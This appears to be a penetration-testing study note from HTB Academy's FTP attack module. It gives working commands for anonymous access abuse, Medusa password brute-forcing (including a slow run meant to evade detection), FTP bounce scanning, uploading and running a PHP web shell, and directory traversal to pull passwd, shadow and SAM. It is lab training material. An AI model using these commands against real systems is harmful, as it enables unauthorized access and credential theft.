📁FTP Attacks

🎯 Overview

This document covers exploitation techniques against FTP services, focusing on practical attack methodologies from HTB Academy's "Attacking Common Services" module. Unlike enumeration, these techniques aim to gain unauthorized access, escalate privileges, or exploit misconfigurations.

"The File Transfer Protocol (FTP) is a standard network protocol used to transfer files between computers. We can abuse misconfigurations or excessive privileges, exploit known vulnerabilities or discover new vulnerabilities."

🏗️ FTP Attack Methodology

Attack Chain Overview

Service Discovery → Misconfiguration Analysis → Authentication Attacks → File System Exploitation → Privilege Escalation

Key Attack Objectives

  • Unauthorized file access through anonymous authentication

  • Credential compromise via brute force attacks

  • Network pivoting using FTP bounce attacks

  • Remote code execution through file upload capabilities

  • Information disclosure via configuration analysis

⚠️ Misconfiguration Exploitation

Anonymous Access Abuse

Anonymous Authentication Attack

# Test anonymous access
ftp target_ip
# Username: anonymous
# Password: anonymous (or any email address)

# HTB Academy example session:
$ ftp 192.168.2.142
Connected to 192.168.2.142.
220 (vsFTPd 2.3.4)
Name (192.168.2.142:user): anonymous
331 Please specify the password.
Password: anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Mass Data Extraction

# Automated download of accessible files
wget -m --no-passive ftp://anonymous:anonymous@target_ip

# Results in organized directory structure
tree target_ip/
└── target_ip
    ├── sensitive_documents/
    │   ├── passwords.txt
    │   ├── database_config.ini
    │   └── employee_list.xlsx
    └── backup_files/
        └── system_backup.tar.gz

🔐 Authentication Attacks

Brute Force with Medusa

Basic Medusa Usage

# Single user brute force
medusa -u admin -P /usr/share/wordlists/rockyou.txt -h target_ip -M ftp

# HTB Academy example:
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp

# Expected output:
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 123456 (1 of 14344392 complete)
ACCOUNT FOUND: [ftp] Host: 10.129.203.7 User: fiona Password: family [SUCCESS]

Advanced Medusa Attacks

# Multi-user brute force
medusa -U userlist.txt -P passwords.txt -h target_ip -M ftp

# Targeted attack with common passwords
medusa -u admin -p admin,password,123456,ftp,root -h target_ip -M ftp

# Slow brute force to avoid detection
medusa -u admin -P passwords.txt -h target_ip -M ftp -t 1 -s 5

🌐 FTP Bounce Attack Exploitation

HTB Academy FTP Bounce Implementation

# Nmap FTP bounce scan
nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2

# Expected output:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-27 04:55 EDT
Resolved FTP bounce attack proxy to 10.10.110.213 (10.10.110.213).
Attempting connection to ftp://anonymous:password@10.10.110.213:21
Connected:220 (vsFTPd 3.0.3)
Login credentials accepted by FTP server!
Initiating Bounce Scan at 04:55
Completed Bounce Scan at 04:55, 0.54s elapsed (1 total ports)
Nmap scan report for 172.17.0.2
Host is up.

PORT   STATE  SERVICE
80/tcp open http

Manual FTP Bounce Attack

# Connect to FTP server
ftp vulnerable_ftp_server

# Use PORT command to target internal host
ftp> port 192,168,1,100,0,22  # Target 192.168.1.100:22
200 PORT command successful.

# Trigger connection with LIST
ftp> list
150 Here comes the directory listing.
# Connection attempt made to target

🗃️ File System Exploitation

Web Shell Upload Attack

# Create PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Upload to web-accessible directory
ftp> cd /var/www/html
ftp> put shell.php
ftp> quit

# Execute commands
curl "http://target_ip/shell.php?cmd=whoami"

Directory Traversal Attacks

# Test directory traversal
ftp> cd ../../../etc
ftp> get passwd
ftp> get shadow

# Windows traversal
ftp> cd ..\..\..\Windows\System32
ftp> get SAM

📋 FTP Attack Checklist

Authentication Attacks

Exploitation Attacks

Post-Exploitation

🎯 HTB Academy Lab Scenarios

Scenario 1: Anonymous Access Exploitation

# Target has anonymous FTP with write access to web directory
ftp target_ip
# Username: anonymous, Password: anonymous

# Upload web shell to web-accessible directory
ftp> cd htdocs
ftp> put shell.php
ftp> quit

# Achieve remote code execution
curl "http://target_ip/shell.php?cmd=whoami"

Scenario 2: Brute Force with Medusa

# Discovered username through enumeration: fiona
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h target_ip -M ftp

# Result: fiona:family
# Access FTP and extract sensitive files

Scenario 3: FTP Bounce Attack

# Use FTP server to scan internal network
nmap -Pn -v -n -p80 -b anonymous:password@ftp_server internal_target

# Discover internal services through FTP proxy

💡 Key Attack Insights

Attack Effectiveness Factors

  1. Anonymous access - Immediate exploitation opportunity

  2. Write permissions - Enable file upload attacks

  3. Web directory access - Direct path to code execution

  4. Weak credentials - Entry point for authorized access

  5. Internal network position - Pivot for lateral movement

Common Attack Patterns

  1. Reconnaissance → Anonymous testing → File extraction

  2. Brute force → Credential discovery → Privilege abuse

  3. Bounce attack → Internal scanning → Lateral movement

  4. File upload → Web shell → Remote code execution

  5. Configuration abuse → Persistence → Privilege escalation

This document provides comprehensive FTP attack methodologies based on HTB Academy's "Attacking Common Services" module, focusing on practical exploitation techniques for penetration testing and security assessment.

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